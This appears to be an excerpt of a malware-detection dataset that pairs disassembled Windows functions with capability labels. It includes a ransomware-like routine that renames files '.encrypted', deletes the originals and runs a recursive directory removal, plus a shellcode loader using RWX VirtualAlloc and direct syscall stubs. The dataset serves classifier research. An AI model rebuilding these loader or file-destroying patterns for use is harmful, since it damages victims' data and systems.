joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000bd68
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000bdb2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000bdb2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000bdb2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000bdb2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000bdb2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000bdb4
xor al, al
add rsp, 0x28
ret

Function at 0x14000f564
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000f3c3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000f3c3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000f3c3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000f3c3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000f3c3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000f3c3
cmp dword [rcx + 0xf8], 0
je 0x14000f3c3
mov ecx, ebx
call fcn.14000f480
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000f250
nop
cmp dword [rbp + 0x20], 0
je 0x14000f411
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000f41c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000f354
Function at 0x140018830
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400188b7
mov rsi, rbx
cmp word [rax], bp
je 0x140018876
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140018860
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14001885c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140016070
mov rdi, rax
test rax, rax
je 0x1400188a4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14000d330
mov rbp, rdi
xor ecx, ecx
call fcn.1400151a0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001ec50
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001ec78
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14001ec78
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x14001198d
Capabilities:
Terminate process

Disassembly:
jmp 0x140031a30
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x140011ad7
Capabilities:
Get geographical location

Disassembly:
jmp 0x14002bd50
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14002bd8d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.140012068
add rsp, 0x58
ret
Function at 0x140011b5e
Capabilities:
Delete file
Execute command
Get common file path
Hide graphical window

Disassembly:
jmp 0x14002b730
push rbp
push rdi
sub rsp, 0x768
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x13e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140047048]
xor rax, rbp
mov qword [rbp + 0x720], rax
lea rcx, [0x140052119]
call fcn.14001208b
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x14002b7a3
lea rcx, str.Failed_to_retrieve_desktop_path._n
call fcn.1400110aa
mov eax, 1
jmp 0x14002b9ed
lea rdx, [0x14003f7a8]
lea rcx, [rbp + 0x238]
call fcn.140011596
nop
xor r8d, r8d
lea rdx, [rbp + 0x238]
lea rcx, [rbp + 0x5e8]
call fcn.1400110eb
nop
lea rdx, [rbp + 0x5e8]
lea rcx, [rbp + 0x298]
call fcn.140012072
nop
lea rax, [rbp + 0x298]
mov qword [rbp + 0x278], rax
lea rcx, [rbp + 0x5e8]
call fcn.140011f23
mov edx, 0x10
lea rcx, [rbp + 0x2c8]
call fcn.1400115f0
lea rax, [rbp + 0x628]
mov qword [rbp + 0x658], rax
mov rdx, qword [rbp + 0x278]
mov rcx, qword [rbp + 0x658]
call fcn.1400117a8
mov qword [rbp + 0x718], rax
mov rdx, qword [rbp + 0x718]
lea rcx, [rbp + 0x2c8]
call fcn.1400112c6
nop
mov edx, 0x10
lea rcx, [rbp + 0x2f8]
call fcn.1400115f0
lea rax, [rbp + 0x678]
mov qword [rbp + 0x6a8], rax
mov rdx, qword [rbp + 0x278]
mov rcx, qword [rbp + 0x6a8]
call fcn.1400117a8
mov qword [rbp + 0x718], rax
mov rdx, qword [rbp + 0x718]
lea rcx, [rbp + 0x2f8]
call fcn.1400116ae
nop
jmp 0x14002b8a4
lea rcx, [rbp + 0x2c8]
call fcn.14001178a
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x2c8]
call fcn.140011fff
movzx eax, al
test eax, eax
je 0x14002b958
lea rcx, [rbp + 0x2c8]
call fcn.1400119ec
mov qword [rbp + 0x328], rax
mov rcx, qword [rbp + 0x328]
call fcn.1400113ed
mov rcx, rax
call fcn.1400112e9
movzx eax, al
test eax, eax
je 0x14002b953
mov rcx, qword [rbp + 0x328]
call fcn.140011a32
mov qword [rbp + 0x718], rax
lea rdx, [rbp + 0x348]
mov rcx, qword [rbp + 0x718]
call fcn.1400121df
xor r8d, r8d
lea rdx, str..encrypted
lea rcx, [rbp + 0x348]
call fcn.140011b90
cmp rax, 0xffffffffffffffff
jne 0x14002b947
lea rcx, [rbp + 0x348]
call fcn.1400115aa
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x348]
call fcn.140011e33
jmp 0x14002b898
lea rcx, [rbp + 0x2f8]
call fcn.1400111ae
nop
lea rcx, [rbp + 0x2c8]
call fcn.1400111ae
nop
lea rcx, [rbp + 0x298]
call fcn.1400111ae
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp + 0x388], rax
xor edx, edx
mov rcx, qword [rbp + 0x388]
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.rd_C:__s__q___nul_2_1
call qword [sym.imp.ucrtbased.dll_system]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x6c8]
call fcn.140011596
nop
lea rcx, [rbp + 0x6c8]
call fcn.140011f46
nop
lea rcx, [rbp + 0x6c8]
call fcn.140011e33
mov dword [rbp + 0x704], 0
lea rcx, [rbp + 0x238]
call fcn.140011e33
mov eax, dword [rbp + 0x704]
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14003c7f0]
call fcn.140011db6
mov rax, rdi
mov rcx, qword [rbp + 0x720]
xor rcx, rbp
call fcn.140011834
lea rsp, [rbp + 0x738]
pop rdi
pop rbp
ret
Function at 0x140011b9a
Capabilities:
Parse pe header

Disassembly:
jmp 0x140032560
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140032580
xor al, al
jmp 0x140032601
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140032593
xor al, al
jmp 0x140032601
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400325bd
xor al, al
jmp 0x140032601
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400325d1
xor al, al
jmp 0x140032601
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400325e3
xor al, al
jmp 0x140032601
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x1400325ff
xor al, al
jmp 0x140032601
mov al, 1
add rsp, 0x38
ret
Function at 0x140011f78
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400228f0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1e8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x3e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x208]
mov rax, qword [0x140047048]
xor rax, rbp
mov qword [rbp + 0x1a8], rax
lea rcx, [0x140052103]
call fcn.14001208b
mov rax, qword [rbp + 0x1d0]
cmp qword [rax + 0x68], 0
je 0x140022956
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x14002295d
mov al, 1
jmp 0x140022ad3
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x198], rax
call fcn.14001161d
mov word [rbp + 0x1a0], ax
movzx edx, word [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1d0]
call qword [rbp + 0x198]
mov word [rbp + 0x164], ax
call fcn.14001161d
mov word [rbp + 0x184], ax
lea rdx, [rbp + 0x164]
lea rcx, [rbp + 0x184]
call fcn.14001178f
movzx eax, al
test eax, eax
je 0x1400229c6
xor al, al
jmp 0x140022ad3
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1d0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x198], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1d0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x198]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_wchar_t__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x1a0], eax
cmp dword [rbp + 0x1a0], 0
je 0x140022a39
cmp dword [rbp + 0x1a0], 1
je 0x140022a44
cmp dword [rbp + 0x1a0], 3
je 0x140022ac2
jmp 0x140022ad1
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x72], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140022a94
mov rax, qword [rbp + 0x1d0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140022a94
xor al, al
jmp 0x140022ad3
mov rax, qword [rbp + 0x1d0]
movzx eax, byte [rax + 0x72]
test eax, eax
jne 0x140022aaf
mov dword [rbp + 0x194], 1
jmp 0x140022ab9
mov dword [rbp + 0x194], 0
movzx eax, byte [rbp + 0x194]
jmp 0x140022ad3
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x72], 0
mov al, 1
jmp 0x140022ad3
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x14003c5f0]
call fcn.140011db6
mov rax, rdi
mov rcx, qword [rbp + 0x1a8]
xor rcx, rbp
call fcn.140011834
lea rsp, [rbp + 0x1b8]
pop rdi
pop rbp
ret
Function at 0x140003a30
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003a64
cmp word [rcx], 0x5a4d
jne 0x140003a64
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003a64
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a64
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003970
test eax, eax
jne 0x140003a80
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400039e0
test rax, rax
je 0x140003a75
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140004229
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004130
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400040d0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004ce0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004d03
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004d03
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004db1
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140532190]
mov r8, rcx
mov rcx, r9
call fcn.140004ce0
test eax, eax
je 0x140004ddd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004d04
xor eax, eax
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rsp + 0x30]
call fcn.140001070
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x20], xmm0
psrldq xmm0, 8
movd eax, xmm0
mov edx, eax
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, qword [rsp + 0x20]
mov r8d, ebx
mov rcx, rax
mov rdi, rax
call sub.VCRUNTIME140.dll_memcpy
call rdi
mov rbx, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x40
pop rdi
ret
Function at 0x140001bb0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bfa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bfa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bfa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bfa
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bfa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bfc
xor al, al
add rsp, 0x28
ret
Function at 0x140003a10
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x140003a44
cmp word [rcx], 0x5a4d
jne 0x140003a44
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x140003a44
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140003a44
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.140003950
test eax, eax
jne 0x140003a60
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.1400039c0
test rax, rax
je 0x140003a55
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140004206
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004110
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.1400040b0
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x140004564
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x14052ad98]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x14052ad94]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x1400045b2
mov rdx, qword [rax]
cmp r12, rdx
jb 0x1400045aa
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004699
inc ebx
add rax, 0x28
jmp 0x14000458a
mov rcx, r12
call fcn.140004d91
mov rbp, rax
test rax, rax
jne 0x1400045d1
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004500
movsxd rbx, ebx
mov rax, qword [0x14052ad98]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004e3f
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14052ad98]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x140004633
mov rax, qword [0x14052ad98]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004500
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004693
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004693
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14052ad98]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004693
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004500
inc dword [0x14052ad94]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004ac0
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x14052ae00]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14052ade0]
test rbx, rbx
je 0x140004b0c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004b06
test eax, eax
jne 0x140004b06
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004ade
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004cc0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004ce3
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004ce3
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004ce4
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004d1e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004d15
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004d20
inc r8d
add rax, 0x28
jmp 0x140004cfc
xor eax, eax
ret

Function at 0x140004d91
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140526f70]
mov r8, rcx
mov rcx, r9
call fcn.140004cc0
test eax, eax
je 0x140004dbd
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004ce4
xor eax, eax
add rsp, 0x28
ret
Function at 0x14134b058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x14134b1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14134b089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14134b06f
add dl, dl
jne 0x14134b096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14134b0f6
xor eax, eax
add dl, dl
jne 0x14134b0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14134b1ad
add dl, dl
jne 0x14134b0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14134b0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14134b0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14134b0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14134b0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14134b07e
mov eax, 1
add dl, dl
jne 0x14134b106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14134b113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14134b0fb
sub eax, ebx
mov ebx, 1
jne 0x14134b14c
mov ecx, 1
add dl, dl
jne 0x14134b12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14134b13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14134b123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14134b07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14134b168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14134b175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14134b15d
cmp eax, 0x7d00
jae 0x14134b19b
cmp eax, 0x500
jb 0x14134b196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14134b07e
cmp eax, 0x7f
ja 0x14134b19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14134b07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14134b1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14134b07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x180001000
Capabilities:
Write file on windows

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
mov r14, r8
mov r15, rdx
mov rsi, rcx
mov eax, dword [0x180557e64]
mov ecx, dword [0x180557e60]
lea rdi, [0x18001b490]
nop dword [rax]
cmp ecx, 0xa
jl 0x180001040
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x18000106e
mov rcx, rsi
mov rdx, rdi
call fcn.180009cd4
mov r12, rax
mov edx, dword [0x180557e64]
mov r8d, dword [0x180557e60]
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
cmp r8d, 0xa
jl 0x180001080
test ecx, ecx
je 0x180001080
mov rcx, rsi
mov rdx, rdi
call fcn.180009cd4
jmp 0x180001040
test ecx, ecx
sete dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
xor al, dl
and bl, dl
cmp al, bl
je 0x18000110d
mov rcx, rsi
mov rdx, rdi
call fcn.180009cd4
mov eax, dword [0x180557e64]
mov ecx, dword [0x180557e60]
cmp ecx, 0xa
jl 0x180001030
lea edx, [rax - 1]
imul edx, eax
and edx, 1
je 0x180001030
nop word [rax + rax]
mov rcx, rsi
mov rdx, rdi
call fcn.180009cd4
mov rcx, rsi
mov rdx, rdi
call fcn.180009cd4
mov eax, dword [0x180557e64]
mov ecx, dword [0x180557e60]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
cmp ecx, 0xa
jl 0x180001030
test edx, edx
jne 0x1800010d0
jmp 0x180001030
test r12, r12
je 0x180001178
nop word cs:[rax + rax]
nop dword [rax]
mov edx, 1
mov rcx, r15
mov r8, r14
mov r9, r12
call fcn.180009f30
mov rcx, r12
call fcn.18000a038
mov eax, dword [0x180557e64]
mov r8d, dword [0x180557e60]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
cmp r8d, 0xa
jl 0x180001178
test ecx, ecx
je 0x180001178
mov edx, 1
mov rcx, r15
mov r8, r14
mov r9, r12
call fcn.180009f30
mov rcx, r12
call fcn.18000a038
jmp 0x180001120
test ecx, ecx
sete cl
cmp r8d, 0xa
setl al
or al, cl
nop word cs:[rax + rax]
test al, al
je 0x180001190
test r12, r12
setne al
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret

Function at 0x180002c50
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r14d, r8d
mov r15d, edx
mov edi, ecx
mov esi, dword [0x180557d54]
mov ebp, dword [0x180557d50]
cmp ebp, 0xa
jl 0x180002c90
lea ecx, [rsi - 1]
imul ecx, esi
and ecx, 1
jne 0x180002d40
nop word cs:[rax + rax]
nop
mov ecx, edi
mov edx, r15d
mov r8d, r14d
call fcn.180006d10
mov edx, dword [0x180557d54]
mov r8d, dword [0x180557d50]
lea r10d, [rdx - 1]
imul r10d, edx
and r10d, 1
sete dl
cmp r8d, 9
setg r9b
xor dl, r9b
mov r11d, edx
xor r11b, 1
mov ecx, r10d
and cl, r9b
or cl, r11b
cmp dl, cl
je 0x180002d40
cmp r8d, 0xa
jl 0x180002d52
test r10d, r10d
je 0x180002d52
nop word cs:[rax + rax]
nop dword [rax]
mov ecx, edi
mov edx, r15d
mov r8d, r14d
call fcn.180006d10
mov ecx, edi
mov edx, r15d
mov r8d, r14d
call fcn.180006d10
mov esi, dword [0x180557d54]
mov ebp, dword [0x180557d50]
